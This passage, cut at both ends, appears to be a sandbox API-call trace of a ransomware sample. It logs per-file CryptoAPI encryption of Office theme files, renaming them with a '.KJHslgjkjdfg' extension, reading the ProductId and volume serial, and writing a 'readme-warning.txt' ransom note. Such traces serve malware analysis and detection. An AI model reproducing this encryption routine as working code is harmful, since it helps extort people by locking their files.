Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.293] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.293] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.293] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.293] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.293] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.293] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.294] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.294] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.294] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.294] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.294] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.294] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8864, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x8864, lpOverlapped=0x0) returned 1 [0171.295] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x8870, dwBufLen=0x8870 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x8870) returned 1 [0171.296] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.296] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x8870, lpOverlapped=0x0) returned 1 [0171.296] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.296] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x8944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.296] SetEndOfFile (hFile=0x12c) returned 1 [0171.298] GetProcessHeap () returned 0x990000 [0171.298] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.298] GetProcessHeap () returned 0x990000 [0171.298] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.298] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0171.308] CloseHandle (hObject=0x12c) returned 1 [0171.308] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0171.308] GetProcessHeap () returned 0x990000 [0171.308] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.308] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.308] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0171.308] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.308] GetProcessHeap () returned 0x990000 [0171.308] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0171.309] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.309] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0171.309] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.309] GetProcessHeap () returned 0x990000 [0171.309] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f99f0 [0171.309] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.309] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f99f0, pdwDataLen=0x29dee20 | out: pbData=0x9f99f0, pdwDataLen=0x29dee20) returned 1 [0171.309] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.309] GetProcessHeap () returned 0x990000 [0171.309] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0171.309] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.309] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0171.309] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.309] GetProcessHeap () returned 0x990000 [0171.309] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.309] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.309] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0171.309] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.309] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0171.310] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0171.310] RegCloseKey (hKey=0x12c) returned 0x0 [0171.310] GetProcessHeap () returned 0x990000 [0171.310] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0171.310] GetProcessHeap () returned 0x990000 [0171.310] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.310] GetProcessHeap () returned 0x990000 [0171.310] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.310] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.310] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0171.310] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.310] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.310] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.311] GetProcessHeap () returned 0x990000 [0171.311] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.311] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.311] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.311] GetProcessHeap () returned 0x990000 [0171.311] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0171.311] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\readme-warning.txt") returned 79 [0171.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.311] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0171.313] CloseHandle (hObject=0x12c) returned 1 [0171.313] GetProcessHeap () returned 0x990000 [0171.313] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f99f0 | out: hHeap=0x990000) returned 1 [0171.313] GetProcessHeap () returned 0x990000 [0171.313] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0171.314] GetProcessHeap () returned 0x990000 [0171.314] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0171.314] GetProcessHeap () returned 0x990000 [0171.314] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.314] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0171.314] GetProcessHeap () returned 0x990000 [0171.314] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0171.314] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0171.314] GetProcessHeap () returned 0x990000 [0171.314] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b0940 [0171.314] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0171.315] GetProcessHeap () returned 0x990000 [0171.315] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0171.315] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.316] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0171.316] GetProcessHeap () returned 0x990000 [0171.316] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9b1eb0 [0171.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.316] GetProcessHeap () returned 0x990000 [0171.316] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.316] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.316] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.316] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x9, lpOverlapped=0x0) returned 1 [0171.318] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.318] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.318] GetProcessHeap () returned 0x990000 [0171.318] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0171.318] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0171.318] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.318] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0171.319] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.319] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.319] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.319] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.319] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.319] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.319] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.319] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.319] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10db7, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x10db7, lpOverlapped=0x0) returned 1 [0171.321] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x10dc0, dwBufLen=0x10dc0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x10dc0) returned 1 [0171.322] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.322] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10dc0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x10dc0, lpOverlapped=0x0) returned 1 [0171.322] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.323] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x10e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.323] SetEndOfFile (hFile=0x12c) returned 1 [0171.323] GetProcessHeap () returned 0x990000 [0171.323] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0171.324] GetProcessHeap () returned 0x990000 [0171.324] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.kjhslgjkjdfg")) returned 1 [0171.331] CloseHandle (hObject=0x12c) returned 1 [0171.340] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0171.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.346] GetProcessHeap () returned 0x990000 [0171.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.346] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.346] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.347] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xa, lpOverlapped=0x0) returned 1 [0171.348] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.348] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.348] GetProcessHeap () returned 0x990000 [0171.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0171.348] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0171.348] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.348] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0171.348] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.348] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.348] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.349] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.349] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.349] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.349] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.349] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.349] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x216, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x216, lpOverlapped=0x0) returned 1 [0171.349] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x220, dwBufLen=0x220 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x220) returned 1 [0171.349] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.349] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x220, lpOverlapped=0x0) returned 1 [0171.349] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.349] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.350] SetEndOfFile (hFile=0x12c) returned 1 [0171.350] GetProcessHeap () returned 0x990000 [0171.350] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0171.350] GetProcessHeap () returned 0x990000 [0171.350] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.350] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft 